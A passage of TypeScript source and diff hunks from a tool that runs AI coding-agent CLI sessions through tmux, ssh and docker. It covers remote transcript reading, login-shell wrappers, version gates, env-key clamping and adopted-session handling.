`r ${request.offset} ${request.len === undefined ? "''" : String(request.len)}`;
const { main: readsMain, after, upTo } = opts.round ?? { main: true, after: '', upTo: '' };
const main = byRelPath.get('main');
const mainLine = !readsMain
? ''
: main
? `emit main "$best" ${requestArgs(main)}`
: opts.onlyRequested
? ''
: 'emit main "$best" t 0 \'\'';
// The names come from validated relPaths, and `$0` stays a string: every name starts `agent-`.
const rangeFilter =
after || upTo
? ` | awk -v after=${shellescape(after)} -v upto=${shellescape(upTo)} '$0 > after && (upto == "" || $0 <= upto)'`
: '';
const subagentCases = [...byRelPath.entries()]
.filter(([relPath]) => relPath !== 'main')
.map(([relPath, request]) => {
const name = relPath.slice('subagents/'.length);
return ` ${shellescape(name)}) emit "subagents/$b" "$f" ${requestArgs(request)} ;;`;
});
const newSubagent = opts.onlyRequested
? [' *) ;;']
: [
' *) emit "subagents/$b" "$f" t 0 \'\'',
' m=${f%.jsonl}.meta.json',
' if [ -f "$m" ]; then',
' fsize "$m"',
` mn=$s; [ "$mn" -le ${EDIT_SOURCE_META_MAX_BYTES} ] || mn=${EDIT_SOURCE_META_MAX_BYTES}`,
' if [ "$mn" -le "$mbudget" ]; then',
' mbudget=$((mbudget - mn))',
' printf \'%s\\0%s\\0%s\\0%s\\0\' "subagents/${b%.jsonl}.meta.json" "$s" 0 "$mn"',
' [ "$mn" -eq 0 ] || bytes "$m" 0 "$mn"',
' fi',
' fi ;;',
];
const script = [
'LC_ALL=C',
'export LC_ALL',
`best=${shellescape(mainPath)}`,
`[ -f "$best" ] || exit ${TRANSCRIPT_NOT_FOUND_EXIT}`,
`printf '\\0%s\\0' ${shellescape(transcriptId)}`,
`budget=${budget}`,
`mbudget=${opts.metaBudget ?? EDIT_SOURCE_META_BUDGET_BYTES}`,
// Size via `wc -c <` (POSIX; BSD pads it with spaces, hence the tr).
'fsize() {',
' s=$(wc -c < "$1" 2>/dev/null | tr -d \' \\t\\n\')',
" case $s in ''|*[!0-9]*) s=0 ;; esac",
'}',
// Exactly $3 bytes of $1 from offset $2, NUL-padded if the file shrank meanwhile.
'bytes() {',
' { tail -c +$(($2 + 1)) "$1" 2>/dev/null | head -c "$3"; head -c "$3" /dev/zero; } | head -c "$3"',
'}',
// emit <relPath> <file> <r|t> <offset> <len|''>: r = a request, t = the tail of a new file.
'emit() {',
' fsize "$2"',
' if [ "$3" = r ] && [ -n "$5" ]; then',
' bs=$4; [ "$bs" -le "$s" ] || bs=$s',
' be=$(($4 + $5)); [ "$be" -le "$s" ] || be=$s',
' n=$((be - bs)); [ "$n" -le "$budget" ] || n=$budget',
' start=$((be - n))',
' elif [ "$3" = r ]; then',
' start=$4; [ "$start" -le "$s" ] || start=$s',
' n=$((s - start)); [ "$n" -le "$budget" ] || n=$budget',
' else',
' n=$s; [ "$n" -le "$budget" ] || n=$budget',
' start=$((s - n))',
' fi',
' budget=$((budget - n))',
' printf \'%s\\0%s\\0%s\\0%s\\0\' "$1" "$s" "$start" "$n"',
' [ "$n" -eq 0 ] || bytes "$2" "$start" "$n"',
'}',
// The valid names, one per line in byte order (the glob's order under `C`). Nothing but
// `[A-Za-z0-9_.-]` is left, so the unquoted `$(…)` below splits on them and globs nothing.
// A function, because bash 3.2 (macOS `sh`) cannot parse a `case` inside `$(…)`.
'subagent_names() {',
' for f in "${best%.jsonl}"/subagents/agent-*.jsonl; do',
' b=${f##*/}',
' case $b in agent-.jsonl|agent-*[!A-Za-z0-9_-]*.jsonl) continue ;; esac',
' printf \'%s\\n\' "$b"',
' done',
'}',
mainLine,
`for b in $(subagent_names${rangeFilter}); do`,
' f=${best%.jsonl}/subagents/$b',
' [ -f "$f" ] || continue',
' case $b in',
...subagentCases,
...newSubagent,
' esac',
'done',
].join('\n');
return `sh -c ${shellescape(script)}`;
}
/**
* Parse {@link buildRemoteClaudeEditSourcesCommand} output, byte-exact on the Buffer (a chunk
* may end mid UTF-8 sequence, so nothing here measures decoded strings). Everything before
* the first NUL is rc-file chatter. `null` = protocol broken: a missing or malformed header
* field, an unknown relPath, a slice outside the file or a body shorter than its length.
*/
export function parseRemoteClaudeEditSources(stdout: Buffer): EditSources | null {
let pos = stdout.indexOf(0);
if (pos === -1) return null;
pos += 1;
const readField = (): string | null => {
const end = stdout.indexOf(0, pos);
if (end === -1) return null;
const field = stdout.toString('utf8', pos, end);
pos = end + 1;
return field;
};
const readNumber = (): number | null => {
const field = readField();
if (field === null || !/^\d+$/.test(field)) return null;
const value = Number(field);
return Number.isSafeInteger(value) ? value : null;
};
const transcriptId = readField();
if (!transcriptId || !CLAUDE_TRANSCRIPT_ID_PATTERN.test(transcriptId)) return null;
const files: EditSources['files'] = [];
const metas: Record<string, string> = {};
while (pos < stdout.length) {
const relPath = readField();
const size = readNumber();
const startOffset = readNumber();
const len = readNumber();
if (relPath === null || size === null || startOffset === null || len === null) return null;
if (startOffset + len > size || pos + len > stdout.length) return null;
const chunk = stdout.subarray(pos, pos + len);
pos += len;
const meta = EDIT_SOURCE_META_REL_PATH_PATTERN.exec(relPath);
if (meta) {
metas[meta[1]] = chunk.toString('utf8');
} else if (EDIT_SOURCE_REL_PATH_PATTERN.test(relPath)) {
files.push({ relPath, size, startOffset, chunk });
} else {
return null;
}
}
return { transcriptId, files, metas };
}
/**
* Runs one read command on the host: its stdout, at most `maxBytes`, or null for "no such
* transcript" ({@link TRANSCRIPT_NOT_FOUND_EXIT}).
*/
export type RemoteEditSourceRunner = (command: string, maxBytes: number) => Promise<Buffer | null>;
/**
* Run the round trips of a read ({@link planRemoteEditSourceRounds}) one after the other and
* merge them into what one read returns. Budget and meta budget carry over: a later round trip
* gets what the earlier ones left, and still lists its files, because a requested file missing
* from the result counts as deleted and loses its cursor. So a read is all or nothing: a failed
* round trip fails it, and nothing of it reaches the store.
*/
export async function readRemoteEditSourceRounds(
mainPath: string,
requests: readonly EditSourceRequest[],
budgetBytes: number,
opts: EditSourceReadOptions,
run: RemoteEditSourceRunner,
perRound?: number
): Promise<EditSources | null> {
let budget = Number.isFinite(budgetBytes) ? Math.max(0, Math.floor(budgetBytes)) : 0;
let metaBudget = EDIT_SOURCE_META_BUDGET_BYTES;
const merged: EditSources = { transcriptId: '', files: [], metas: {} };
for (const round of planRemoteEditSourceRounds(requests, perRound)) {
const stdout = await run(
buildRemoteClaudeEditSourcesCommand(mainPath, round.requests, budget, { ...opts, round, metaBudget }),
budget + metaBudget + EDIT_SOURCE_HEADER_SLACK_BYTES
);
if (!stdout) return null;
const parsed = parseRemoteClaudeEditSources(stdout);
if (!parsed || !mainPath.endsWith(`/${parsed.transcriptId}.jsonl`)) {
throw new RemoteFileAccessError('unexpected output from the remote edit-history read');
}
merged.transcriptId = parsed.transcriptId;
merged.files.push(...parsed.files);
Object.assign(merged.metas, parsed.metas);
for (const file of parsed.files) budget -= file.chunk.length;
for (const text of Object.values(parsed.metas)) metaBudget = Math.max(0, metaBudget - Buffer.byteLength(text));
}
return merged;
}
/**
* Read a remote claude session's transcripts (see {@link readRemoteEditSourceRounds}), the
* remote twin of `readClaudeEditSources`. `null` when `mainPath` does not exist; an unreachable
* host, an ssh failure or broken output is a `RemoteFileAccessError`. Each round trip takes its
* own slot of the ssh limiter. Never wakes.
*/
export async function remoteReadClaudeEditSources(
remote: SessionRemote,
mainPath: string,
requests: readonly EditSourceRequest[],
budgetBytes: number,
opts: EditSourceReadOptions = {}
): Promise<EditSources | null> {
assertNotUnderTest();
return readRemoteEditSourceRounds(mainPath, requests, budgetBytes, opts, async (command, maxBytes) => {
try {
const result = await runWithRemoteSshLimit(() =>
execAsync(buildRemoteEditHistoryCommand(remote, command), {
timeout: remoteEditSourcesTimeoutMs(maxBytes),
maxBuffer: maxBytes,
encoding: 'buffer',
})
);
return Buffer.isBuffer(result.stdout) ? result.stdout : Buffer.from(result.stdout);
} catch (err) {
if ((err as { code?: unknown }).code === TRANSCRIPT_NOT_FOUND_EXIT) return null;
throw new RemoteFileAccessError(
`remote host ${remote.label || remote.host} unreachable: ${describeExecError(err)}`
);
}
});
}
/**
* Command that writes a remote file's bytes to stdout.
*
+43 -20
View File
@@ -66,13 +66,28 @@ export async function writeRemoteCases(configDir: string, cases: RemoteCase[]):
* arrival, the #208 failure all over again (verified: `sh -c 'exec $SHELL -i -l'`
* with SHELL unset prints `exec: -i: not found`). In practice tmux always exports
* SHELL into a pane from its own `default-shell` option, so the command as USED
* here is safe either way (also verified). The default matters because these
* strings are the seed values a per-host `commands.*` override is edited from, and
* nothing constrains where an edited one ends up running. Quoted for a shell path
* containing spaces. `/bin/sh` exists on every POSIX host.
* here is safe either way (also verified). Quoted for a shell path containing
* spaces. `/bin/sh` exists on every POSIX host.
*
* ⚠️ This is POSIX text. fish refuses `${…}` (status 127), so a launch hands it to
* `/bin/sh -c`, never to the remote default-shell (`buildRemoteLaunchCommand`).
*/
const REMOTE_LOGIN_SHELL = '"${SHELL:-/bin/sh}"';
/**
* The remote login shell with the flags that make it one, as ONE compound command, so
* `cd <path> && <this>` keeps its short-circuit (a failed `cd` must not start a shell in
* the wrong folder). `args` follows the flags verbatim.
*
* The flags are chosen on the far end: the shell is whatever the REMOTE passwd says, so
* this is `loginShellArgs()` run where the answer is known. tcsh honors `-l` only as its
* ONLY flag and exits on `-i -l -c`, `-l -c` and `-i -l` (measured on tcsh 6.24), and
* `-c` needs no login flag to read `.tcshrc`, so csh and tcsh get neither flag.
*/
function remoteLoginShell(args: string): string {
return `{ set -- -i -l; case \${SHELL##*/} in csh|tcsh) set --;; esac; exec ${REMOTE_LOGIN_SHELL} "$@"${args}; }`;
}
/**
* Run `command` through the remote user's interactive login shell, so per-user
* PATH entries (~/.local/bin, ~/.opencode/bin, …) are resolved before the CLI name
@@ -80,13 +95,15 @@ const REMOTE_LOGIN_SHELL = '"${SHELL:-/bin/sh}"';
* so a bare `exec claude` sees only sshd's minimal default PATH and dies with
* "command not found" (exit 127).
*
* Shells that take neither flag (nushell, elvish, …) cannot be detected from here
* the way `loginShellArgs()` detects them locally, since the shell is whatever the
* REMOTE passwd says. A host like that is what the per-host `commands.*` override
* is for.
* ⚠️ POSIX text, like `REMOTE_LOGIN_SHELL`: only `/bin/sh -c` may parse it.
*
* Other shells that take neither flag are what the per-host `commands.*` override is
* for. It only goes so far: the PATH bootstrap below runs in the login shell first, so
* a shell that cannot parse `export` at all (nushell, elvish) cannot be rescued by an
* override.
*/
export function remoteLoginShellCommand(command: string): string {
return `exec ${REMOTE_LOGIN_SHELL} -i -l -c ${shellescape(command)}`;
return remoteLoginShell(` -c ${shellescape(command)}`);
}
/**
@@ -127,8 +144,9 @@ function overlayCliCommand(mode: SessionMode, location: 'remote' | 'docker'): st
* user's interactive-login shell startup files (~/.zshrc etc.). ssh's remote-command
* execution is neither interactive nor login, so a bare `exec claude` sees only sshd's
* minimal default PATH and fails with "command not found" (exit 127) — confirmed via
* `tmux capture-pane` on the remain-on-exit-preserved dead pane. Route through
* `$SHELL -i -l -c`, the same fix shell mode uses, so PATH is fully resolved first.
* `tmux capture-pane` on the remain-on-exit-preserved dead pane. Route through the
* login shell (`remoteLoginShellCommand`), the same fix shell mode uses, so PATH is fully
* resolved first.
*
* ⚠️ The per-CLI half is now READ FROM THE REGISTRY (`overlays.remote`), not from a
* hardcoded `Record<RemoteCommandMode, string>`. The table it replaces duplicated the
@@ -143,11 +161,13 @@ function overlayCliCommand(mode: SessionMode, location: 'remote' | 'docker'): st
* The per-host `commands.*` override remains the escape hatch for every mode.
*/
export function defaultRemoteCommandForMode(mode: SessionMode): string {
// $SHELL, not a hardcoded bash: sshd sets it from the remote user's /etc/passwd entry, so
// this launches their actual login shell (zsh, fish, …). `-i -l` so it sources rc files,
// matching the local shell-mode launch. Not templatable as overlay data: the shell is
// whatever the REMOTE passwd says, which is why `shell` is the one arm still written here.
const shellCommand = `exec ${REMOTE_LOGIN_SHELL} -i -l`;
// $SHELL, not a hardcoded bash: sshd sets it from the remote user's /etc/passwd entry, and
// tmux exports its default-shell as SHELL into the pane, so this launches their actual
// login shell, or the default-shell their tmux.conf picks (zsh, fish, …). `-i -l` where it
// takes them, so it sources rc files, matching the local shell-mode launch. Not templatable
// as overlay data: the shell is whatever the REMOTE passwd says, which is why `shell` is the
// one arm still written here.
const shellCommand = remoteLoginShell('');
const cli = overlayCliCommand(mode, 'remote');
return cli === null ? shellCommand : remoteLoginShellCommand(cli);
}
@@ -321,13 +341,16 @@ function remoteCliBin(mode: SessionMode): string | undefined {
/**
* Build the SSH command that reads the remote CLI's version (`claude --version`
* on the remote host). The version query is routed through
* `remoteLoginShellCommand` (the SAME `$SHELL -i -l -c` wrapper the real
* launch uses), because agent CLIs live on PATH only after the remote user's
* on the remote host). The version query runs under `$SHELL -i -l -c` like the real
* launch, because agent CLIs live on PATH only after the remote user's
* interactive-login startup files run (see defaultRemoteCommandForMode); a bare
* `claude --version` over ssh exits 127. Connection options come from the
* shared `buildSshConnectionArgs`, so the probe reaches exactly the hosts the
* launch can reach. Returns null for modes with no CLI (shell).
*
* ⚠️ One statement, never `remoteLoginShellCommand`: nothing hands this text to `/bin/sh`,
* the login shell parses it itself. fish and tcsh refuse the `${…}` either way, so such a
* host reports no version, the same as a failed probe, and its launch is not affected.
*/
export function buildRemoteCliVersionProbeCommand(
host: Pick<RemoteHost, 'username' | 'host' | 'port'> & RemoteSshOptions,
@@ -338,7 +361,7 @@ export function buildRemoteCliVersionProbeCommand(
return [
...buildSshConnectionArgs(host),
remoteSshTarget(host),
shellescape(remoteLoginShellCommand(`${bin} --version`)),
shellescape(`exec ${REMOTE_LOGIN_SHELL} -i -l -c ${shellescape(`${bin} --version`)}`),
].join(' ');
}
+20 -12
View File
@@ -23,7 +23,7 @@ import { renderLaunch, type EngineValues, type ParamValues } from './config/cli-
import { matchesPattern } from './config/cli-registry/patterns.js';
import { buildAdvisorSettings, buildEffortCliArgs, sanitizeCliSessionName } from './session-cli-builder.js';
import { compareVersions } from './utils/dependency-checker.js';
import { getClaudeCliVersion } from './utils/claude-cli-resolver.js';
import { resolveSessionCliVersion } from './utils/cli-resolver.js';
import { launcherDefaultTarget } from './utils/cli-launcher.js';
import { getCli } from './config/cli-registry/registry.js';
import type {
@@ -184,9 +184,19 @@ function resolveGatesPassed(entry: CliEntry, resolveVersion: () => string | null
export function launchGatePasses(mode: string, gate: string, claudeCliVersion?: string | null): boolean {
const entry = getCli(mode);
if (!entry?.capabilities.gates[gate]) return false;
return resolveGatesPassed(entry, () =>
claudeCliVersion !== undefined ? claudeCliVersion : getClaudeCliVersion()
).has(gate);
return resolveGatesPassed(entry, () => gateVersion(entry, claudeCliVersion)).has(gate);
}
/**
* The version a gate of `entry` is measured against: the caller's explicit value (tests, or
* null for "known unknown"), else THIS entry's own local CLI via resolveSessionCliVersion.
* ⚠️ Never `getClaudeCliVersion()` for every entry, which is what this used to do: codex's
* `noDaemonFlag` gate (0.162.0) would then have passed on any claude 2.x and handed an older
* codex a flag it exits on. resolveSessionCliVersion still routes claude to its own probe
* policy (`retryOnTransientFailure`), so a claude launch is unchanged.
*/
function gateVersion(entry: CliEntry, explicit: string | null | undefined): string | null {
return explicit !== undefined ? explicit : resolveSessionCliVersion(entry.id);
}
/**
@@ -253,14 +263,12 @@ export function buildSpawnCommandFromRegistry(entry: CliEntry, options: SpawnBri
// `startupHint` setting are on. Claude-only in practice, like the settings object above.
engineValues.appendSystemPrompt = getDiscordStartupHint();
// Preserves buildSpawnCommand's original fallback exactly: an EXPLICIT `undefined` probes
// the local claude CLI (getClaudeCliVersion, null under vitest); an explicit `null` means
// "known to be unresolvable" and must not probe. The probe only ever runs from
// resolveGatesPassed, and only for an entry that actually declares a gate, so this stays
// generic without spawning a stray `claude --version` for every other CLI's launch.
const gatesPassed = resolveGatesPassed(entry, () =>
options.claudeCliVersion !== undefined ? options.claudeCliVersion : getClaudeCliVersion()
);
// Preserves buildSpawnCommand's original fallback: an EXPLICIT `undefined` probes the
// entry's own local CLI (gateVersion: claude's probe for claude, the registry resolver for
// the rest, both null under vitest); an explicit `null` means "known to be unresolvable"
// and must not probe. The probe only ever runs from resolveGatesPassed, and only for an
// entry that actually declares a gate, so a CLI with none never spawns a `--version`.
const gatesPassed = resolveGatesPassed(entry, () => gateVersion(entry, options.claudeCliVersion));
return renderLaunch(entry.launch, params, engineValues, gatesPassed);
}
+4 -3
View File
@@ -26,13 +26,13 @@
* re-resolves the grant at the moment it builds a session, for the same reason.
*
* @dependencies user-store (canUsernameRunPrivilegedCommands), config/cli-registry
* @consumedby web/routes/session-routes, web/routes/reboot-restore-routes
* @consumedby web/routes/session-routes, web/routes/reboot-restore-routes, web/server
*
* @module session-env-clamp
*/
import { canUsernameRunPrivilegedCommands } from './user-store.js';
import { enabledClis } from './config/cli-registry/registry.js';
import { listClis } from './config/cli-registry/registry.js';
/**
* Env-var keys a non-granted owner must not be able to set, because each one
@@ -68,7 +68,8 @@ import { enabledClis } from './config/cli-registry/registry.js';
* already allowlisted for pi and not addressed here — see resolveOmpHome()).
*/
export function ownerClampedEnvKeys(): string[] {
return enabledClis().flatMap((entry) => entry.capabilities.privilegedEnvKeys);
// Every CLI, enabled or not: a session can outlive the switch that disabled its CLI.
return listClis().flatMap((entry) => entry.capabilities.privilegedEnvKeys);
}
/**
+205 -41
View File
@@ -29,7 +29,7 @@
*/
import { EventEmitter } from 'node:events';
import { basename } from 'node:path';
import { basename, isAbsolute } from 'node:path';
import { realpath } from 'node:fs/promises';
import { execSync, execFileSync } from 'node:child_process';
import { v4 as uuidv4 } from 'uuid';
@@ -65,6 +65,7 @@ import {
type SessionNameSource,
type SessionWriteOptions,
type PaneExit,
type SessionAdopt,
type PromptCacheStatus,
type StatusLineExporter,
type KeepWarmStatus,
@@ -73,6 +74,7 @@ import type { GitFetchStatus } from './git-fetch.js';
import { resolveAndClaimOmpSessionId } from './utils/omp-session-resolver.js';
import { claudeTranscriptExists } from './utils/claude-transcript.js';
import { probePathKind } from './utils/bounded-path-probe.js';
import type { LiveWorktree } from './live-worktree.js';
import { PATH_PROBE_TIMEOUT_MS, WORKSPACE_REALPATH_RETRY_MS } from './config/path-probe.js';
import { matchesPattern } from './config/cli-registry/patterns.js';
import { probeDockerCliVersion } from './docker-hosts.js';
@@ -277,8 +279,8 @@ function getModeLabel(mode: SessionMode): string {
*
* Only such a CLI needs its version probed at session start — probing one with no gates
* would spawn a `--version` subprocess whose answer nothing reads. Today that is claude
* (the `--name` flag, gated at 2.1.224), which is why the probe used to be written as
* `mode === 'claude'`.
* (the `--name` flag, gated at 2.1.224) and codex (`--no-daemon`, gated at 0.162.0). The
* probe used to be written as `mode === 'claude'`, when claude was the only one.
*/
function cliNeedsVersionProbe(mode: SessionMode): boolean {
return Object.keys(getCli(mode)?.capabilities.gates ?? {}).length > 0;
@@ -304,23 +306,21 @@ function cliExportsTruecolor(mode: SessionMode): boolean {
* Codex, Claude Code, and Gemini are known, controlled (Ink/React) TUIs that
* repaint via cursor positioning, so dropping the alt-screen switch is safe —
* content stays in the normal buffer. Excluded: `shell` (arbitrary programs like
* vim/less/htop legitimately need the alt screen), `opencode` (its own MIDDLE strip,
* isMuxMouseStripMode), `pi` (below) and `grok` (a fullscreen alt-screen TUI with
* vim/less/htop legitimately need the alt screen), `opencode`, `copilot` and `pi` (their own
* MIDDLE strip, isMuxMouseStripMode) and `grok` (a fullscreen alt-screen TUI with
* mouse support). Keep parity with the replay-side strip (`stripReplayBuffer` in
* session-routes.ts); the table in `CliCapabilities.altScreen` is pinned for every
* stock CLI in test/claude-scrollback-strip.test.ts.
*
* ⚠️ Being excluded here does NOT preserve the alt screen. Every excluded mode
* falls through to isMuxAltScreenOnlyStripMode(), which strips the alt-screen
* toggles too whenever the session is tmux-backed, and pi/opencode ALWAYS are
* (both refuse the direct-PTY fallback). What exclusion actually buys is the rest
* of the full strip: `\x1b[3J` and the mouse-tracking DECSETs survive. That is the
* real reason pi is out: its default TUI renders into the MAIN screen with
* terminal-owned scrollback and is mouse-aware, so it is a `3J`/mouse consumer in
* a way an Ink TUI repainting in place is not. Consequence to know before
* debugging it: pi's runtime-switchable fullscreen TUI (`/settings`, 0.84.0+)
* still gets its `?1049h` stripped and paints into the main buffer, exactly like
* vim inside a tmux `shell` session.
* falls through to isMuxMouseStripMode() or isMuxAltScreenOnlyStripMode(), which
* strip the alt-screen toggles too whenever the session is tmux-backed, and
* pi/opencode ALWAYS are (both refuse the direct-PTY fallback). What exclusion
* actually buys is the rest of the full strip: `\x1b[3J` survives, and for the
* narrow strip the mouse-tracking DECSETs too. pi (fullscreen by default since
* 1.0.0) is a mouse-aware TUI like opencode and copilot, so it takes the mouse
* strip (isMuxMouseStripMode): a drag selects locally and `cliMouseTracking`
* keeps the wheel working across a buffer replay.
*/
export function isAltScreenStripMode(mode: SessionMode): boolean {
return getCli(mode)?.capabilities.altScreen === 'strip-full';
@@ -449,10 +449,25 @@ export function queryTmuxWindowSize(muxName: string, socket: string): { cols: nu
return { cols: DEFAULT_PTY_COLS, rows: DEFAULT_PTY_ROWS };
}
export function resolveMuxAttachCwd(workingDir: string, remote?: SessionRemote, docker?: SessionDocker): string {
export function resolveMuxAttachCwd(
workingDir: string,
remote?: SessionRemote,
docker?: SessionDocker,
adopt?: SessionAdopt
): string {
// Remote and docker sessions run the CLI elsewhere (ssh / docker exec); the LOCAL
// wrapper pane never needs the workspace as its cwd, so launch it in /tmp.
return remote || docker ? '/tmp' : workingDir;
//
// ⚠️ An ADOPTED session needs the same treatment and does NOT get it from the
// two checks above: its connection facts live on `adopt.docker`/`adopt.remote`,
// so `session.docker` is undefined even for an in-container adoption. Its pane
// only attaches, so no folder on this host means anything to it. Measured against
// a real container, when `workingDir` still held the foreign pane's cwd: the local
// PTY spawn inherited `/workspace/pythonserver`, and the session came up with
// `pid: null` and a blank terminal while the wrapper tmux session and the
// in-container grouped view had both been created successfully, so it looked
// half-alive rather than failed.
return remote || docker || adopt ? '/tmp' : workingDir;
}
/**
@@ -766,6 +781,8 @@ export class Session extends EventEmitter {
* serialized by toState() but never restored by the constructor.
*/
private _paneCwd: string | undefined;
/** See {@link liveWorktree}. */
private _liveWorktree: LiveWorktree | undefined;
/**
* `workingDir` with symlinks resolved, so a pane reading (tmux reads the
* process cwd, always the resolved path) can be put back into `workingDir`'s
@@ -880,6 +897,11 @@ export class Session extends EventEmitter {
// local tmux + `docker exec`. The container is per-CASE (shared by sibling sessions).
private readonly _docker?: SessionDocker;
// Adoption metadata, present when this session is a WRAPPER around a tmux
// session a human started outside Codeman. Its presence is the single switch
// that disables everything Codeman can only do to a process it launched.
private readonly _adopt?: SessionAdopt;
// Owning username in multi-user mode (undefined in single-user). Stamped at create
// from req.authUser and round-tripped through recovery like _remote/_docker.
private _owner?: string;
@@ -1005,6 +1027,8 @@ export class Session extends EventEmitter {
remote?: SessionRemote;
/** Docker execution metadata for sessions launched inside a container via local tmux. */
docker?: SessionDocker;
/** Adoption metadata for a wrapper around a human-started tmux session. */
adopt?: SessionAdopt;
/** Owning username (multi-user mode); undefined in single-user. */
owner?: string;
/** Session that spawned this one — tab lineage decoration, resolved by the caller. */
@@ -1175,6 +1199,7 @@ export class Session extends EventEmitter {
this._tmuxHistoryLimit = config.tmuxHistoryLimit ?? DEFAULT_TMUX_HISTORY_LIMIT;
this._remote = config.remote;
this._docker = config.docker;
this._adopt = config.adopt;
this._owner = config.owner;
this._discoveredMuxSession = config.discoveredMuxSession === true;
// Restored so a record that says the agent exited survives a server restart
@@ -1335,6 +1360,25 @@ export class Session extends EventEmitter {
return this._remote;
}
/** Adoption metadata when this session wraps a human-started tmux session. */
get adopt(): SessionAdopt | undefined {
return this._adopt;
}
/**
* Is this a wrapper around a tmux session Codeman did not start?
*
* ⚠️ Deliberately NOT folded into `isExternalCliMode()`. That predicate answers
* "does this CLI render its own TUI", which is about the PROTOCOL. This one
* answers "did we launch the process", which is about AUTHORITY: an adopted
* session can be `mode: 'claude'` and still have no hooks installed, no
* `envOverrides`, no effort and no `--session-id` we chose. Conflating the two
* would silently grant claude-shaped automation over a process we do not own.
*/
get isAdopted(): boolean {
return this._adopt !== undefined;
}
/**
* `deepSeekConfig.statusReporting` verbatim: `undefined` when the caller sent
* none (i.e. ON), `false` when the user disarmed the status bridge for this
@@ -1374,6 +1418,17 @@ export class Session extends EventEmitter {
return value && value.trim() ? value.trim() : undefined;
}
/**
* What the SESSION itself set for `key`, same single-key rule. `envOverrideValue()` answers
* with whatever the map holds, which under a selection is the injected value: a re-apply
* resolving the CLI's real home must read the session's own home, or none.
*/
ownEnvValue(key: string): string | undefined {
const selection = this._customModel;
const value = selection?.envKeys.includes(key) ? selection.ownEnv?.[key] : this._envOverrides?.[key];
return value?.trim() || undefined;
}
/** Owning username in multi-user mode, else undefined. */
get owner(): string | undefined {
return this._owner;
@@ -1439,13 +1494,20 @@ export class Session extends EventEmitter {
/**
* True when a tmux pane's death would mean THIS session's agent has exited.
*
* Four shapes fail the test, and each would otherwise publish a death that is
* Five shapes fail the test, and each would otherwise publish a death that is
* not the agent's. A direct-PTY session owns no pane at all. A remote SSH
* session's local pane holds the ssh client, whose death means a transport
* drop OR an exit, which is the ambiguity PR #355 was about. A docker case's
* local pane holds a `docker exec` into the container's own tmux.
*
* The fourth is a session rebuilt from the socket. Absent `remote`/`docker`
* ⚠️ An ADOPTED session is the same shape for a different reason: its pane runs
* `tmux attach` to a session a human started, never the agent. That attach exiting
* with 0 says the connection ended or its owner closed the foreign session; neither
* means this session finished, and neither is Codeman's to clear the tab for. Without
* this, the clean-exit sweep (`pane-exit-sweep.ts`) would close someone else's live
* session's tab the moment they detached from it themselves.
*
* The fifth is a session rebuilt from the socket. Absent `remote`/`docker`/`adopt`
* normally means "this is local", but on a discovered record it only means
* "Codeman never found the metadata": the synthetic `restored-<fragment>` id
* matches no `state.json` entry, so a remote session rediscovered after
@@ -1454,7 +1516,7 @@ export class Session extends EventEmitter {
*/
private get paneExitApplies(): boolean {
if (this._discoveredMuxSession) return false;
return this._useMux && this._muxSession !== null && !this._remote && !this._docker;
return this._useMux && this._muxSession !== null && !this._remote && !this._docker && !this._adopt;
}
/** What Codeman last observed of this pane's agent, or undefined for UNKNOWN. */
@@ -1576,6 +1638,23 @@ export class Session extends EventEmitter {
return true;
}
/**
* The linked git worktree inside `workingDir` that {@link paneCwd} is in, when there is one
* (`live-worktree.ts`). The Files panel lists it instead of the main checkout. Runtime-only and
* never a confinement root, like `paneCwd`: it is judged lexically when the pane moves, and the
* listing route re-checks the real folder on every request.
*/
get liveWorktree(): LiveWorktree | undefined {
return this._liveWorktree;
}
/** Record the result of a worktree lookup. Returns whether it CHANGED, so the caller broadcasts only then. */
setLiveWorktree(next: LiveWorktree | undefined): boolean {
if (next?.path === this._liveWorktree?.path) return false;
this._liveWorktree = next;
return true;
}
/** `workingDir` without a trailing separator (the root stays `/`). */
private _workspaceSpelling(): string {
return this.workingDir.length > 1 ? this.workingDir.replace(/\/+$/, '') : this.workingDir;
@@ -1994,21 +2073,38 @@ export class Session extends EventEmitter {
/**
* The full selection incl. bookkeeping, for state.json ONLY (`__customModel`, the
* same disk-only convention as `getEnvOverridesForPersist()`). Carries no env values,
* so nothing secret lands on disk; recovery re-derives them from the endpoint store.
* same disk-only convention as `getEnvOverridesForPersist()`). Carries no injected env
* values, so nothing secret lands on disk; recovery re-derives them from the endpoint store.
* Without this a Codeman restart left the pane on the custom endpoint (tmux keeps
* its `setenv`s) while `customModel` came back undefined, so the state was wrong and
* clearing had nothing to unset. Must NOT be included in any API-bound serializer.
*
* The one value it does carry is the session's own home directory (`ownEnv`, narrowed to
* `homeEnvVar`), a path like `configDir` beside it: the selection overwrote the tmux
* `setenv` that held it, so without this a clear after a restart would lose it. Any other
* entry of `ownEnv` may be a credential and stays in memory, and so does a `homeEnvVar`
* value that is not an absolute path: the registry types that name as any env var, so a
* `clis.json` override can point it at a credential.
*/
getCustomModelForPersist(): CustomModelBookkeeping | undefined {
return this._customModel ? { ...this._customModel, envKeys: [...this._customModel.envKeys] } : undefined;
if (!this._customModel) return undefined;
const { ownEnv, ...selection } = this._customModel;
const { homeEnvVar } = selection;
const ownHome = homeEnvVar ? ownEnv?.[homeEnvVar] : undefined;
return {
...selection,
envKeys: [...selection.envKeys],
...(homeEnvVar && ownHome && isAbsolute(ownHome) ? { ownEnv: { [homeEnvVar]: ownHome } } : {}),
};
}
/**
* Update this session's custom-model selection and merge the endpoint's injected env
* vars into `_envOverrides` — first UNDOING whatever the previous selection injected
* (removing exactly those env keys), so switching endpoints, or clearing back to the
* harness's native cloud default, never leaves a stale key behind. Synchronous and
* (removing exactly those env keys, and putting back a value the session had set under
* one itself), so switching endpoints, or clearing back to the harness's native cloud
* default, never leaves a stale key behind and never loses the session's own `DSH_HOME`
* or `CLAUDE_CONFIG_DIR`. Synchronous and
* side-effect-free beyond mutating state, matching `setNice`/`setColor` above — this
* class does no file IO, so it reports the PREVIOUS `configDir` (if any) for the
* caller to clean up on disk (custom-model-injection.ts's configDir kind).
@@ -2018,7 +2114,12 @@ export class Session extends EventEmitter {
* `_buildRespawnPaneOptions().unsetEnvKeys`): the tmux session inherits every
* `setenv` into `respawn-pane`, so dropping them from the map alone would relaunch
* the CLI still pointed at the old endpoint — and for the `configDir` kinds, at a
* `HOME`/`CODEX_HOME`/`GROK_HOME` the caller has just deleted.
* `HOME`/`CODEX_HOME`/`GROK_HOME` the caller has just deleted. A key put back stays out
* of that queue: `applyEnvOverrides()` writes its value over the injected one.
*
* `next.ownEnv` is for recovery, which states the session's own values itself: after a
* restart `_envOverrides` holds what the previous run injected (`CLAUDE_CONFIG_DIR` is
* persisted), and reading those as the session's own would pin it to a deleted directory.
*/
